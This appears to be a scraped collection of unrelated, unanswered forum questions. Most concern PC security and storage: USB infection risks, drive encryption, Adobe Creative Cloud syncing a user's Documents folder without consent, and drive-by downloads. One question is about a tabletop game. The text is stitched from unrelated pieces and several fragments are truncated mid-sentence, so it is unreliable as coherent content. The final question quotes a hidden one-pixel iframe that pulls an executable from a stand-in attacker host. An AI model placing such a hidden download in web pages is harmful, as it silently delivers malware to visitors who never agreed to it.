Specifically, I was trying to install windows 10 on a fresh new ssd, i was trying to use a usb to do it but it turns out I did not create the usb drive correctly, so I’m stuck on the “reboot and select proper boot devices” screen on my bios.
If the usb was infected, can it infect my ssd or my bios at this point?
Like, my teacher has various class materials shared for each of his different classes. I have the link to one.
spiritual weapons, occupies space , so can it block an incoming attack? can you touch it , can you use it to jump higher, add some movement by driving it?
I’m working on a university project where I have to encrypt a drive using a digital certificate. I have found software that can do this for files/folders, but not for entire drives/partitions. Is there any software like this? If no, what’s the difference in encrypting drives and files/folders?
I was trying to uninstall InDesign from my Windows 10 computer. To uninstall/update any of Adobe’s programs, you have to first update to the latest version of Creative Cloud, which is a hub that manages all its programs (PS, Illustrator, AfterEffects, etc). Once the update was complete, I uninstalled InDesign, but noticed that there was a small progress indicator on the top-right corner.
When I opened it, I saw that it said “File syncing” was in progress. I thought “What file syncing? I never asked to sync any files!”
I immediately paused the sync. Upon clicking on the settings icon, it turns out it was auto-syncing files from my entire
C:/Users/[UserName]/Documents/ folder, without asking for any permission to do this! (I’ve since created an empty
/Adobe subfolder so it doesn’t have anything to upload).
I think I stopped it before it was able to upload anything. Has Adobe been automatically uploading files from its users’
/Documents folder without their consent, or am I overreacting? If so, is there a way to blacklist all internet access to all of Adobe’s products? I don’t want the next update to reset these permissions, and having to worry about auto-syncing in future versions!
I recently had a virus on my windows 10, at some point I plugged in a usb drive to it (didn’t transfer any files). But assuming it was infected, can it infect, or simply transfer anything from it to my MacBook?
I didn’t transfer anything from the usb to my MacBook, I have only transferred files from the MacBook to the usb, and I secure erase the usb with my macbook.
Thank You for your help.
Does Pre-boot encryption works on all drives or just the C drive?
where does the recoverykey store
How do you copy a web-hosts back up to your own hard drive or just backup to online storage?
What way do you do?
How often do you do it, Daily, Weekly, Monthly?
As I can easily
~/Library/Mobile\ Documents and
ls contents in iCloud Drive without getting “operation not permitted”.
ls the folders like
~/Downloads gives me a prompt to ask for permission, but not for iCloud Drive folder(
does the definition of a drive by download include malicious execution of an unaccepted downloaded file or is the unaccepted download of a file the drive by download by itself. I didn’t find a good/clear definition.
Why is it possible to download files with a hidden iframe, so the user isn’t even asked if he wants to download it. Something like this:
<iframe src="https://attacker.com/evil.exe" width="1" height="1" frameborder="0"></iframe>
Isnt this way to risky?
Thank you for your answers.